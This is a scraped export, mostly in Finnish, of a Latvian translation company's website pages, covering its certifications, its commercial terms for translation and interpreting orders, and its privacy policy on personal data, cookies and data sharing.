2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 14001:2015 – YMPÄRISTÖJÄRJESTELMÄ --- > Tämä todistaa, että käännösasiantuntijoiden rekrytointi, työprosessi, teknologian käyttö ja muut alakohtaiset näkökohdat täyttävät vaatimukset. - Published: 2022-06-22 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN 17100:2015 – KÄÄNNÖSPALVELUIDEN STANDARDI --- > Koska yksi Skrivanekin arvoista on vastuullisuus asiakkaita kohtaan, johon kuuluu myös tietoturva, olemme ottaneet käyttöön tietoturvallisuuden hallintajärjestelmän. - Published: 2022-06-22 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional ISO/IEC 27001:2022 – TIETOTURVALLISUUDEN HALLINTAJÄRJESTELMÄ --- - Published: 2022-06-21 - Modified: 2022-06-21 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. YLEISET KÄYTTÖEHDOT 1. 1. Nämä yleiset kaupalliset ehdot ovat SIA Skrivanek Balticin, rekisterinumero: 40003626172, laillinen osoite Lāčplēša iela 87C, Riga, Latvia, LV-1011 , jäljempänä tekstissä – Toimeksisaaja, sekä asiakkaan, jäljempänä Asiakas, määrittelemiä. Yhdessä näihin osapuoliin viitataan sanalla Osapuolet. 1. 2. Nämä Kaupalliset ehdot koskevat palveluita, jäljempänä Tilaukset, jotka ovat SIA Skrivanek Balticin liiketoiminnan muotoja, kuten käännöksiä. Ehtoja käytetään näiden Tilauksien tulkitsemiseen. 1. 3. Asiakkaan ja Toimeksisaajan välinen sopimussuhde on laadittava laatimalla kirjallinen Tilaus, mukaan lukien sähköpostitilaus, jossa sopimuspuolet sopivat tilauksen toteutusaikataulusta, tilauksesta ja maksuehdoista. 2. KIRJALIKUD TÕLKED 2. 1. Toimeksisaaja, kappaleen 1 mukaisesti, ottaa Tilauksen vastaan ja sopii toimittavansa Tilauksen sovitulla kielellä ja sovittuun aikaan, ja toimittaa sen Asiakkaalle sovitulla tavalla. 2. 2. Asiakas sitoutuu maksamaan Tilausta koskevaa maksun ja maksamaan Toimeksisaajalle sovitun hinnan. 2. 3. Asiakas sitoutuu vastaanottamaan Tilauksen tietyllä ajanjaksolla ja tietyllä vastaanottotavalla. 2. 4. Asiakas tai tämän valtuutettu edustaja on velvollinen vahvistamaan tilauksen vastaanottamisen puhelimitse tai kirjallisesti (myös sähköpostitse) ja ilmoittamaan, että se on hyväksytty ajoissa. Jos Asiakas ei täytä tätä velvoitetta, eikä hän anna tilauksesta muistutusta 24 tunnin määräajan kuluessa Tilauksen asettamisesta puhelimitse tai kirjallisesti (myös sähköpostitse), Toimeksisaaja voi katsoa, että Asiakas on vastaanottanut Tilauksen ajoissa, ja Asiakkaalla ei ole mitään vastaväitteitä määräajan tai järjestelyjen suhteen. 2. 5. Tilauksen täyttämisen määräaika ei ole umpeutunut, jos Toimeksisaaja ilmoittaa – Asiakkaan muistutuksen jälkeen, että se on lähettänyt tilauksen sille ja todistaa, että se on jo lähettänyt tilauksen määräajassa ja tavalla. 2. 6. Mikäli Toimeksiantaja viivästyttää Tilausta ilman pätevää syytä, Asiakkaalla on oikeus vaatia 0,1 % sakkoa tilausmäärästä jokaiselle viivästyspäivälle, mutta enintään 10% tilausmaksuista. 2. 7. Mikäli, todisteita vastaan, Tilausta ei voida toimittaa Asiakkaalle ennalta määritellyllä tavalla, Toimeksisaaja valitsee toisen tilauksen toimitustavan, jonka kulut katetaan Asiakkaan toimesta. Näistä tapauksista Asiakkaalle ilmoitetaan etukäteen. 2. 8. Jos Asiakas ei toimita vaatimusta asetetussa määräajassa eikä anna pätevää syytä, mutta kieltäytyy hyväksymästä asianmukaisesti täytettyä Tilausta, tilaus katsotaan toteutetuksi ja Toimeksisaajalla on oikeus määrätä lasku, jonka Asiakas on velvollinen maksamaan. 3. TULKKAUKSET 3. 1. Toimeksisaaja, kohdan 1 mukaisesti, ottaa Tilauksen vastaan ja sopii toimittavansa Tilauksen (tulkkaus) sovitulla kielellä ja sovittuun aikaan. 3. 2. Asiakas sitoutuu maksamaan Tilausta koskevaa maksun ja maksamaan Toimeksisaajalle sovitun hinnan. 3. 3. Toimeksisaaja toimittaa tulkkauksen tulkin välityksellä. 3. 4. Asiakas on velvollinen hyväksymään tulkkauksen määräajassa ja tilauslomakkeessa esitetyllä tavalla. 3. 5. Jos tulkkaus on suoritettu vaatimusten mukaisesti ja määräaikaan mennessä, eikä Asiakas ole havainnut mitään vaatimuksia, Asiakkaan tai valtuutetun edustajan on vahvistettava kirjallisesti tulkkaus jälkeen, että tulkkaus on suoritettu vaaditulla laadulla ja vaaditussa ajassa. 3. 6. Jos Asiakas ei toimita vaatimusta asetetussa määräajassa eikä anna pätevää syytä, mutta kieltäytyy hyväksymästä asianmukaisesti täytettyä Tilausta, tilaus katsotaan toteutetuksi ja Toimeksisaajalla on oikeus määrätä lasku, jonka Asiakas on velvollinen maksamaan. 3. 7. Toimeksisaaja sitoutuu pitämään kaikki tulkkaukseen liittyvät tiedot luottamuksellisina ja sitoutuu myös pitämään kirjaa kaikista Asiakkaan saamasta lisäaineistosta, erityisesti luottamuksellisista tiedoista. 3. 8. Asiakkaalla ei ole oikeutta pyytää tulkkia tai tulkkeja suorittamaan muuta toimintaa, jota ei ole määritelty tilauksessa; esimerkiksi käännös, kokousrekisteri jne. 3. 9. Toimeksisaajalla on oikeus pyytää maksua sovittujen tulkkien kaikista työtunneista, vaikka Asiakas ei käyttäisikään koko tätä aikaa. 3. 10. Asiakas on velvollinen antamaan asianmukaiset työehdot koskien tulkkauksen tyyppiä, mukaan lukien tekniset laitteet, ellei Toimeksisaaja ole toisin määrännyt. 3. 11. Asiakas on velvollinen järjestämään tulkille sovitusta paikasta siihen paikkaan, jossa tulkkaus on suoritettava. 3. 12. Jos tulkki tai tulkit käyttävät yksityistä kuljetusta, Asiakkaan on sopimuspuolella yhteisymmärryksessä Toimeksiantajan kanssa katettava kaikki tulkkien matkakulut. 3. 13. Asiakkaan on tarjottava tulkille majoitus – yhden hengen huone mukavuuksilla. 3. 14. Asiakas on velvollinen tarjoamaan tulkille tai tulkeille lounaan ja vähintään 30 minuutin tauon jokaista neljää käännöstuntia kohti. 3. 15. Tulkkauspäivän kesto on kahdeksan (8) tuntia, mukaan lukien tauot. 3. 16. Asiakkaalla on oikeus korvaukseen siitä ajankohdasta, jona tulkki on jäänyt pois. 4. OSAPUOLTEN OIKEUDET JA VELVOLLISUUDET 4. 1. Jos Asiakkaalla on sisäisesti hyväksytty terminologialuettelo, on toivottavaa, että Asiakas toimittaa tällaisen Toimeksisaajalle toimeksiannon toteuttamishetkellä, tai antaa Toimeksisaajalle muita materiaaleja, jotka auttavat käyttämään oikeaa terminologiaa, tai nimittää asiasta vastaavan henkilön, joka antaa tarvittavat konsultointia. 4. 2. Asiakkaan on lähetettävä tarvittavat materiaalit Toimeksisaajalle (esimerkiksi pöytäkirjat, raportit, esitykset tai muut materiaalit) vähintään kolme päivää ennen tulkkausta. Jos tätä ehtoa ei noudateta, mahdollisia vaatimuksia epäasianmukaisten termien käytöstä tulkkauksen aikana ei oteta huomioon. 4. 3. Toimeksisaaja ei ole vastuussa Asiakkaan tekijänoikeuden rikkomisesta mahdollisesti aiheutuvista seuraamuksista. 4. 4. Toimeksisaaja sitoutuu pitämään kaikki tulkkaukseen liittyvät tiedot luottamuksellisina ja sitoutuu myös pitämään kirjaa kaikista Asiakkaan saamasta lisäaineistosta, erityisesti luottamuksellisista tiedoista. 4. 5. Asiakas sitoutuu olemaan ottamatta yhteyttä Toimeksisaajan kääntäjään tai tulkkiin ilman Toimeksisaajan suostumusta. Jos Toimeksisaaja huomaa, että Asiakas on ollut yhteydessä kääntäjän tai tulkin kanssa, Asiakas sitoutuu olemaan luovuttamatta kääntäjälle tai tulkille mitään tietoja, jotka liittyvät Asiakkaan ja Toimeksisaajan sopimuksen sisältöön. Jos tämän lausekkeen määräyksiä rikotaan, Asiakas maksaa Toimeksisaajalle 500 euron suuruisen sakon. 5. VAATIMUKSET 5. 1. Toimeksisaajan Tilauksessa on puutteita, mikäli sitä ei ole toteutettu Tilauksessa määritettyjen ehtojen mukaisesti. 5. 2. Valmis käännöksellä on myös puutteellinen, jos sitä ei ole toteutettu sopivalla kieliopillisella, tyylillisellä tai semanttisella laadulla. 5. 3. Jos kohdassa 5. 1 ja 5. 2 mainittuja vikoja ei havaita, Tilaus katsotaan toteutetuksi asianmukaisesti ja Asiakkaan vaatimusten mukaisesti. 5. 4. Vaatimukset on toimitettava kirjallisesti (myös sähköpostitse). Vaatimuksien on oltava perusteltuja, ja niissä on ilmoitettava vikojen tyyppi ja mahdollisuuksien mukaan virheiden määrä. 5. 5. Jos Toimeksisaaja tunnustaa Asiakkaan vaatimuksen perustelluksi, Toimeksisaajan on tehtävä Tilaus uudelleen. Tällöin Asiakkaalla on oikeus saada alennusta Tilauksen hinnasta. 5. 6. Asiakas saa asianmukaisen alennuksen Tilauksesta, jos Toimeksisaaja tunnustaa Asiakkaan vaatimuksen, joka ei perustu kohdassa 5. 2 mainittuihin virheisiin tai jos Asiakas hylkää ehdotetun korjauksen. 5. 7. Alennuksen määrä määritetään asiantuntijan lausunnon tai keskinäisen sopimuksen perusteella. 5. 8. Jos Osapuolten välinen riita syntyy Asiakkaan toimeksiannossa esitetyn vaatimuksen yhteydessä, jos kyseessä on 5. 2 kohdassa mainitut virheet, molemmat Osapuolet sitoutuvat ratkaisemaan kiistan tuomioistuimessa toimivaltaisen riippumattoman tahon asiantuntijan avulla. Molempien Osapuolten on oltava samaa mieltä ja hyväksyttävä asiantuntija. 5. 9. Alennuksen määrä riippuu asiantuntijan lausunnosta tai kahden Osapuolen välisestä sopimuksesta. 5. 10. Toimeksisaaja on vastuussa mahdollisista vahingoista, jotka liittyvät toteutetun Tilauksen virheisiin. Sopimuspuolet sopivat, että vahingonkorvausvaatimuksen määrä on rajoitettu ja vahingonkorvaus maksetaan takaisin tilausmäärään saakka. 5. 11. Kaupallisten käännösten tapauksessa, eli jos Asiakas esimerkiksi on kauppias, Asiakas on velvollinen esittämään virheitä koskevat vaatimukset Toimeksisaajalle ilman aiheetonta viivytystä sen jälkeen, kun virhe on huomattu, kuitenkin viimeistään 21 päivän kuluttua Tilauksesta. 5. 12. Jos Asiakas on luonnollinen henkilö, hänellä on oikeus hakea vaatimusta kuluttajansuojalain mukaisesti. 5. 13. Myöhästyneitä vaatimuksia ei oteta huomioon, ja niitä pidetään mitättöminä. 6. MAKSUMENETTELY 6. 1. Tilauksen hinta perustuu voimassa olevaan Toimeksiantajan hinnastoon ja siinä määritettyyn hintalaskentamenetelmään. 6. 2. Jos likimääräinen tilausarvo perustuu yksiköiden arvioituun määrään, hintalaskenta suoritetaan lisäämällä todellinen yksikkö (käännöksen kohdekielellä) käännöksen suorittamisen jälkeen. 6. 3. Toimeksisaaja on oikeutettu tarjottuja palveluita koskevan laskun välittömästi tilauksen toimeksipanon jälkeen tilauksessa määrätyin edellytyksin. 6. 4. Tilausmaksun perusta on Toimeksisaajan antama ja Asiakkaan tulee maksaa lasku tietyn maksujakson loppuun mennessä. 6. 5. Jos Asiakas myöhästyy maksun määräajasta, viivästyskorko lasketaan 0,01 % summasta jokaisesta maksuviivästyspäivästä. 6. 6. Sopimuspohjaisen maksuviivästyksen yhteydessä Asiakkaan käteistalletus merkitään ensin viivästyskorkoina, mutta jäljelle jäävä summa hyvitetään kyseisen velan määrästä. 6. 7. Toimeksisaaja voi Osapuolten suostumuksella antaa Asiakkaalle ennakkomaksun, joka on 50 % tilauksen summasta. Ennakkomaksu on maksettava määräaikaan mennessä. 7. FÜÜSILISTE ISIKUTE ANDMETE KAITSE 7. 1. Sopimuspuolet sitoutuvat noudattamaan henkilöiden tietosuojalainsäädännön vaatimuksia, mukaan lukien Euroopan parlamentin ja neuvoston tietosuoja-asetusta (EU) 2016/679 koskien luonnollisten henkilöiden henkilökohtaisen datan prosessointia ja tämän datan liikkuvuutta koskien, sekä kumottavaa 95/46/EC-direktiiviä eli tietosuojadirektiiviä, jonka mukaan henkilötietoja: 7. 1. 1. käsitellään laillisesti, oikeudenmukaisesti ja läpinäkyvästi henkilötietojen kohteen osalta; 7. 1. 2. käsitellään Tilauksen toteuttamiseksi ja henkilötietojen käsittely ei ole ristiriidassa Tilauksen kanssa; 7. 1. 3. käsitellään siten, että varmistetaan tietojen suojaaminen säädösten mukaisesti, toisin sanoen suojaaminen luvattomalta tai laittomalta käsittelyltä ja tahattomilta häviöiltä, tuhoamiselta tai vahingoittumiselta asianmukaisin teknisin tai organisatorisin toimenpitein. 7. 2. Kumpikin osapuoli on velvollinen ilmoittamaan henkilöille (datasubjekti) henkilötietojensa käsittelystä rekisterinpitäjänä. 7. 3. Osapuolet sitoutuvat olemaan siirtämättä vastaanottamiaan henkilötietoja kolmansille osapuolille ilman osapuolen etukäteen antamaa kirjallista lupaa siltä osapuolelta, jolta henkilötiedot on vastaanotettu. Jos osapuoli on lainsäädännöllisten säännösten mukaisesti velvollinen ilmoittamaan saamiaan henkilökohtaisia tietoja, se on velvollinen ilmoittamaan tästä sille osapuolelle, jolta se on vastaanottanut henkilötietoja, ellei laki toisin kiellä. 8. RIITOJENRATKAISUMENETTELY 8. 1. Sopimuspuolten on ratkaistava sopimuksen täytäntöönpanosta tai tämän sopimuksen yhteydessä syntyneet riidat 60 (kuudenkymmenen) päivän kuluessa. Sopimus riidan ratkaisemisesta on tehtävä kirjallisesti ja molempien Osapuolten on allekirjoitettava se. Mainittu sopimus on tämän sopimuksen liitteenä. Jos sopimukseen ei päästä, tuomioistuin ratkaisee riidat Latvian tasavallan lainsäädännössä säädetyn menettelyn mukaisesti. --- - Published: 2022-06-21 - Modified: 2022-06-22 - URL: https://skrivanek.lv/privatuma-politika/ - Translation Priorities: Optional 1. 1 Henkilötietojen käsittelyyn liittyvä rekisterinpitäjä on SIA Skrivanek Baltic, rek. nro: 40003626172, juridinen osoite: Lāčplēša iela 87C, Riga, Latvia, LV-1011, puhelin: +371 26382 680 (jäljempänä tekstissä –“Skrivanek”), kotisivu: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1 Skrivanek käsittelee asiakkaiden henkilötietoja siinä määrin ja sillä tavoin kuin Viron tasavallan ja Euroopan Unionin säädökset määräävät. Asiakkaiden henkilötietojen saamiseen ja käsittelyyn ovat oikeutettuja myös muut Skrivanekin henkilötietojen käsittelijät. Saadaksesi lisätietoja yhteistyökumppaneista ota yhteys Skrivanekiin käyttäen tarkoitukseen osoitettuja yhteyskanavia (ks. Skrivanek kotisivun www. skrivanek. lv/fi kohta “Yhteystiedot”). 3. 1 Euroopan parlamentin ja neuvoston asetus (EU) 2016/679 luonnollisten henkilöiden suojelusta henkilötietojen käsittelyssä sekä näiden tietojen vapaasta liikkuvuudesta (annettu 27. päivänä huhtikuuta 2016); 3. 2 Luonnollisten henkilöiden tietosuojalaki. 4. 1 Yksityisyyspolitiikka (jäljempänä tekstissä – “politiikka”) kuvaa sitä, miten Skrivanek kerää, käsittelee, jakaa, poistaa ja suojaa asiakkaiden henkilötietoja, näin varmistaen asiakkaiden henkilötietojen laillisen, rehellisen ja asiakkaille läpinäkyvän käsittelyn. Politiikkaa on sovellettava asiakkaiden henkilötietoihin, mihin tahansa luonnollisten henkilöiden tietojen käsittelyyn ja asiakkaille annettuihin palveluihin. 4. 2 Jos Skrivanek tulevaisuudessa päivittää tämän politiikan, kaikki muutokset julkistetaan Skrivanekin kotisivulla www. skrivanek. lv, kohdassa – “Yksityisyyspolitiikka”. 5. 1 Skrivanekin käsittelemät henkilötietoluokat riippuvat asiakkaalle annetuista palveluista. Skrivanekilla on oikeus käsitellä tämän politiikan kohdassa 7. mainittuihin tarkoituksiin seuraavia henkilötietoluokkia: 5. 1. 1 nimi, sukunimi, henkilötunnus/syntymäaika, postiosoite, puhelinnumero ja sähköpostiosoite; 5. 1. 2 pankkitiedot; 5. 1. 3 henkilöllisyystodistus-asiakirjojen tiedot (asiakirjan numero, myöntöpäivä ja myöntöpaikka jne. ); 5. 1. 4 tiedot, jotka asiakas itse ilmoittaa Skrivanekille. 5. 2 Skrivanek käsittelee seuraavia tietoja tämän politiikan kohdassa 7. ilmoitettuihin tarkoituksiin: 5. 2. 1 evästeitä (verkkosivuston selaustietoja) – tietoja käynnistä Skrivanekin kotisivulla (www. skrivanek. lv) (jäljempänä tekstissä – “Skrivanekin kotisivu”). 6. 1 Asiakkaan suostumus – asiakas henkilötietosubjektina myöntää itse suostumuksensa henkilötietojen keräämiseen ja käsittelyyn määriteltyihin tarkoituksiin. Asiakkaan suostumus perustuu hänen vapaaseen tahtoonsa ja itsenäiseen päätökseensä, joka voidaan antaa milloin tahansa, näin antaen Skrivanekille luvan käsitellä henkilötietoja määriteltyihin tarkoituksiin. Asiakkaan suostumus on asiakkaan kannalta sitova, jos se on annettu kirjallisessa muodossa (täyttämällä lomake Skrivanekin toimistossa, lähettämällä sähköinen kysely asiakkaaksi tunnistautumisen jälkeen tai käyttämällä verkkosivustoa www. skrivanek. lv). Asiakkaalla on oikeus milloin tahansa peruuttaa aiemmin annettu suostumuksensa, ko. tarkoitukseen osoitettuja yhteyskanavia käyttäen (ks. Skrivanekin kotisivun www. skrivanek. lv/fi kohta “Yhteystiedot”). Ilmoitetut muutokset astuvat voimaan kolmen työpäivän kuluessa. Suostumuksen peruuttaminen ei vaikuta tietojen käsittelyn laillisuuteen, joka perustuu ennen peruuttamista annettuun suostumukseen. 6. 2 Sopimuksen solmiminen ja toteuttaminen – jotta Skrivanek voisi solmia ja toteuttaa asiakkaan kanssa tekemänsä sopimuksen suorittamalla laadukkaita palveluita ja palvelemalla asiakasta, Skrivanekin on kerättävä ja käsiteltävä tiettyjä henkilötietoja, joita kerätään joko ennen Skrivanekin kanssa tehtävän sopimuksen solmimista tai kun sopimus on jo solmittu. 6. 3 Skrivanekin lailliset intressit – noudattaen intressejä, joihin laadukkaiden palvelujen ja oikea-aikaisen tuen antaminen asiakkaalle perustuu, Skrivanekilla on oikeus käsitellä henkilötietoja siinä määrin kuin on objektiivisesti tarpeellista ja riittävää ko. politiikan kohdassa 7. 1. –7. 3. mainittujen tavoitteiden saavuttamiseksi. Skrivanekin laillisena intressinä pidetään henkilötietojen käsittelyä sekä suoramarkkinointia, jonka tavoitteena on antaa asiakkaalle uusia ja/tai asiakaskohtaisia Skrivanekin palveluja koskevia tarjouksia (ks. myös tämän politiikan kohdat 8. 2. ja 8. 3. ). Ottaen huomioon, että Skrivanek on SKRIVANEK Holding SE -ryhmän yritysten osa (ks. myös ko. politiikan kohta 12. 4. ), silla on laillinen intressi käsitellä omien asiakkaittensa tietoja lähettämällä niitä muille ryhmän yrityksille sisäisiin hallinnollisiin tarkoituksiin, mm. nykyaikaisten vaatimusten mukaisten palvelujen tarjoamiseksi SKRIVANEK Holding SE -ryhmän yritysten tasolla. 6. 4 Oikeudellisten velvollisuuksien suorittaminen – Skrivanekilla on oikeus käsitellä henkilötietoja säädösten vaatimuksien täyttämiseksi sekä vastatessaan valtion ja kuntien laillisiin kyselyihin. 7. 1 Skrivanek käsittelee henkilötietoja laadukkaiden palvelujen varmistamiseksi Skrivanekin kanssa solmitun sopimuksen voimassaoloajan puitteissa: 7. 1. 1 asiakkaiden valituksien käsittelemiseksi ja tuen (mm. teknisen tuen) antamiseksi annettuihin palveluihin liittyen; 7. 1. 2 rahavirran tehokkuuden hallinnoimiseksi, mm. asiakkaiden maksujen ja velkojen hallinnoimiseksi; 7. 1. 3 asiakkaiden informoimiseksi muiden SKRIVANEK Holding SE -ryhmän yritysten palveluista. 7. 2 Skrivanek käsittelee henkilötietoja kehittääkseen toimialaa ja tarjotakseen asiakkaalle uusia palveluita mm. : 7. 2. 1 uusien palvelujen kehittämiseksi ja niihin liittyvien tarjouksien antamiseksi; 7. 2. 2 markkinatilanteen analyysin suorittamiseksi ja liiketoimintamallin kehittämiseksi suoritetaan Skrivanekin asiakkaiden tilastollisten tietojen käsittelyä. 7. 3 Skrivanek käsittelee henkilötietoja omien sisäisten prosessiensa muodostamiseksi ja ylläpitämiseksi, asiakirjakierron ja muiden sisäisten prosessien varmistamiseksi (esim. sopimusten ja muiden asiakirjojen arkistoimiseksi) tarvittavassa ja riittävässä määrin. 7. 4 Skrivanekilla on oikeus käsitellä tietoja alempana mainituissa muissa tarkoituksissa, jos se on saanut asiakkaalta vapaasta tahdosta annetun ja selvän suostumuksen: 7. 4. 1 asiakkaan henkilötietojen tarkastus velkahistorian sisältävistä tietokannoista ennen sopimuksen solmimista, tarkoituksenaan arvioida asiakkaan edellytykset täyttää sopimusvelvoitteet; sopimuksen voimassaolon aikana vastaava tarkastus on välttämätön uusien ja nykyaikaisempien palvelujen tarjoamiseksi; 7. 4. 2 Skrivanekin maineen edistäminen markkinoilla lähettämällä asiakkaille toivotuksia, myöntämällä bonuksia, järjestämällä kyselyitä olemassa olevien palvelujen parantamiseksi ja uusien palvelujen luomiseksi. 8. 1 Asiakkaan henkilötietojen profilointi tietojenkäsittelyn yhteydessä: 8. 1. 1 profiloinnilla tarkoitetaan mitä tahansa henkilötietojen automaattista käsittelyä, joka ilmenee henkilötietojen käyttönä konkreettisten luonnolliseen henkilöön liittyvien näkökohtien arvioimiseksi, erityisesti liittyen luonnollisen henkilön henkilökohtaisiin toiveisiin, intresseihin, luotettavuuteen, käyttäytymiseen, sijaintiin tai liikkumiseen liittyviin näkökohtien analysoimiseen tai ennustamiseen; 8. 1. 2 henkilötietoja käsitellessään Skrivanek voi suorittaa profilointia yksilöityjen tarjousten laatimiseksi ja antamiseksi. Automatisoituja yksilöityjä päätöksiä tehdään vain liiketoiminnallisiin tarkoituksiin, eivätkä ne aiheuta asiakkaalle oikeudellisia seurauksia. Asiakkaalla on milloin tahansa oikeus vastustaa automatisoitujen päätösten tekemistä ja päästä olemasta tällaisten päätösten kohteena ilmoittamalla asiasta Skrivanekille (ks. myös tämän politiikan kohdassa 8. 3. mainitut säännöt). 8. 2 Suora markkinointi ja peruste lähettää asiakkaille kaupallisia ilmoituksia: Skrivanek suorittaa suoramarkkinointia välittämällä asiakkaille kaupallisia ilmoituksia, jotta asiakkaat olisivat aina tietoisia uusista ja/tai nimenomaan asiakkaille kehitetyistä palveluista, sekä erityisistä sopimusehdoista (esim. alennuksista) tämän politiikan kohdassa 6. 3. mainittujen henkilötietojen käsittelyn perusteiden mukaisesti. Asiakkaalla on oikeus milloin tahansa ja ilmaiseksi kieltäytyä kaupallisten ilmoitusten vastaanotosta ilmoittamalla siitä Skrivanekille (ks. myös tämän politiikan kohdan 8. 3. määräykset). 8. 3 Asiakkailla on oikeus milloin tahansa vastustaa henkilötietojensa profilointia (sk. kohta 8. 1. ) tai kieltäytyä kaupallisten ilmoitusten vastaanottamisesta (sk. kohta 8. 2. ) ilmoittamalla siitä Skrivanekille suullisesti (puhelinkeskustelun aikana asiakkaan tunnistamisen jälkeen, soittamalla numeroon +371 26 382 680) tai kirjallisessa muodossa (täyttämällä lomakkeen Skrivanekin toimistossa, lähettämällä sähköisen pyynnön sähköpostiosoitteeseen sales@skrivanek. ee tai käymällä Skrivanekin toimistossa). Ilmoitetut muutokset astuvat voimaan kolmen työpäivän kuluessa. Muutokset eivät vaikuta henkilötietojen käsittelyn laillisuuteen ennen tässä kohdassa mainittua asiakkaan vastustamista ja/tai kieltäytymistä. 9. 1 Evästeet ovat pieniä tiedostoja, jotka ovat tärkeitä tiettyjen verkkosivujen toimintojen (esimerkiksi sisäänkirjautumisen) varmistamiseksi. Evästeiden avulla verkkosivustot voivat muistaa erilaisia kieli-, fontti- ja muita asetuksia, joita verkkosivuston käyttäjä on valinnut verkkosivustonäkymän osalta. Tästä johtuen tietokoneeseenne tallennetaan evästeitä. Tällä tavalla toimii suurin osa verkkosivustoista ja palvelujen tarjoajista. 9. 2 Evästeiden avulla seurataan käyttäjien toimintatapoja ja verkkosivuston käytön historiaa, diagnosoidaan sivuston toiminnassa havaittuja ongelmia ja puutteita, kerätään käyttäjätilastoja sekä varmistetaan sivuston optimaalinen toimivuus. 9. 3 Voit poistaa mitkä tahansa koneessasi jo olevat evästeet. Useimmat selaimet antavat myös mahdollisuuden estää evästeiden tallentaminen tietokoneellesi, mutta siinä tapauksessa et voi käyttää kaikkia verkkopalvelujamme. Lisätietoja selaimesi evästeasetuksista on saatavilla selaimen kehittäjän verkkosivustolta. Skrivanek käyttää ylläpitämissään sivustoissa toiminnallisia, analyyttisiä, markkinointiin liittyviä ja pakollisia evästeitä. Saadaksesi lisätietoja evästeistä tutustu Skrivanekin kotisivun www. skrivanek. lv/fi kohtaan "Ilmoitus evästeiden käytöstä". 10. 1 Skrivanek saa käyttöönsä asiakkaiden henkilötietoja silloin, kun asiakas: 10. 1. 1 ostaa Skrivanekin palveluita (Skrivanekin toimistossa tai etäyhteydellä, suorittamalla ennen sitä asiakastunnistuksen); 10. 1. 2 rekisteröityy uutisten, ilmoitusten ja muiden palvelujen saamiseksi Skrivanekilta; 10. 1. 3 pyytää Skrivanekilta lisätietoja palveluista tai ottaa Skrivanekiin yhteyttä valitukseen tai tietojen pyytämiseen liittyen, tunnistautumalla asiakkaaksi; 10. 1. 4 osallistuu kilpailuihin, arvontoihin tai kyselyihin; 10. 1. 5 käy Skrivanekin kotisivuilla tai selaa niitä. 10. 2 Skrivanek voi käsitellä kolmansilta henkilöiltä (esim. velkahistoriarekisterien pitäjiltä) saatuja asiakkaiden henkilötietoja, jos asiakas on siihen suostunut. 10. 3 Skrivanek voi käsitellä asiakkaan henkilötietoja, joita sen on saanut SKRIVANEK Holding SE -ryhmän yrityksiltä ja kumppaniyrityksiltä (ks. tämän politiikan kohdassa 12 mainitut säännöt). 11. 1 Skrivanek käsittelee asiakkaiden henkilötietoja niin kauan, kuin yksikin seuraavista seikoista pätee: 11. 1. 1 on voimassa asiakkaan ja Skrivanekin välinen sopimus; 11. 1. 2 henkilötietojen säilytysaika on säädetty tai määräytyy Viron tasavallan ja Euroopan Unionin säädösten mukaisesti; 11. 1. 3 siinä määrin kuin sitä tarvitaan Skrivanekin laillisten intressien toteuttamiseksi ja suojaamiseksi; 11. 1. 4 niin kauan kuin asiakas ei ole peruuttanut suostumustaan henkilötietojensa käsittelyyn. 12. 1 Asiakkaiden palvelemiseksi Skrivanek voi jakaa asiakkaiden henkilötietoja seuraaville tahoille: 12. 1. 1 SKRIVANEK Holding SE -ryhmän yrityksille; 12. 1. 2 kumppanille tai instituutioille, jotka osallistuvat asiakkaiden tilaamien tai käyttämien palvelujen varmistamiseen; 12. 1. 3 velkojen perintäyrityksille, luottotietotoimistoille, velkarekisterien pitäjille tai muille velkojen perinnän organisaatioille; 12. 1. 4 siirronsaajille – rahavirran tehokkaan hallinnan varmistamiseksi Skrivanekilla on oikeus siirtää velalliseen tai velallisiin liittyvät vaatimukset siirronsaajille. 12. 2 Skrivanekilla on oikeus luovuttaa henkilötietoihin liittyviä tietoja seuraaville tahoille: 12. 2. 1 lainvalvontaviranomaisille, tuomioistuimille tai muille valtion ja kunnan laitoksille, jos se johtuu säädöksistä tai asianomaisen laitoksen pyynnöstä; 12. 3 Skrivanek luovuttaa asiakkaiden henkilötietoja vain tarvittavassa ja riittävässä määrin, säädösten vaatimusten ja kyseisen tilanteen objektiivisten olosuhteiden mukaisesti. 12. 4 Skrivanek varaa itselleen oikeuden tarvittaessa luovuttaa asiakkaiden henkilötietoja muille SKRIVANEK Holding SE -ryhmän yrityksille tai palveluntarjoajille, mikäli tämä on tarpeen parempien ja laadukkaampien palvelujen tarjoamiseksi asiakkaille. Saadaksesi tietoja SKRIVANEK Holding SE -ryhmän yrityksistä, perintätoimistoista, luottotietotoimistoista, velkarekisterien pitäjistä tai muista velkojen perintää suorittavista organisaatioista tai siirronsaajista, ota yhteys Skrivanekiin lähettämällä pyyntö osoitettuja viestintäkanavia käyttäen (katso Skrivanekin kotisivun kohta www. skrivanek. lv/fi "Yhteystiedot"). 13. 1 Skrivanek varmistaa, valvoo ja kehittää jatkuvasti toimenpiteitä, joilla suojataan asiakkaiden henkilötietoja luvattomalta pääsyltä, tahattomalta katoamiselta, paljastumiselta tai hävittämiseltä. Varmistaakseen tämän Skrivanek käyttää nykyaikaisimpia teknologioita, teknisiä ja organisatorisia vaatimuksia, mm. palomuureja, tunkeutumisen paljastamisen ja analysoinnin ohjelmistoja sekä tietojen salausta. 13. 2 Skrivanek tarkistaa huolellisesti kaikki palveluntarjoajat, jotka käsittelevät asiakkaan henkilötietoja Skrivanekin puolesta ja lukuun sekä arvioi, suorittavatko yhteistyökumppanit (henkilötietojen käsittelijät) asianmukaisia turvatoimenpiteitä, jotta asiakkaan henkilötietojen käsittely tapahtuisi Skrivanekin valtuutuksen ja säädösten vaatimusten mukaisesti. Yhteistyökumppanin eivät saa käsitellä asiakkaan henkilötietoja omiin tarkoituksiinsa. 13. 3 Skrivanek ei ota vastuuta mistään luvattomasta pääsystä henkilötietoihin ja/tai henkilötietojen menettämisestä, jos se tapahtuu Skrivanekista riippumattomasta syystä, esim. asiakkaan omasta virheestä ja/tai huolimattomuudesta johtuen. 13. 4 Mikäli asiakkaan henkilötiedot ovat vaarantuneet, Skrivanek ilmoittaa siitä asiakkaalle. 14. 1 Ottaa yhteyttä Skrivanekiin saadakseen kopion Skrivanekin hallussa olevista henkilötiedoista. 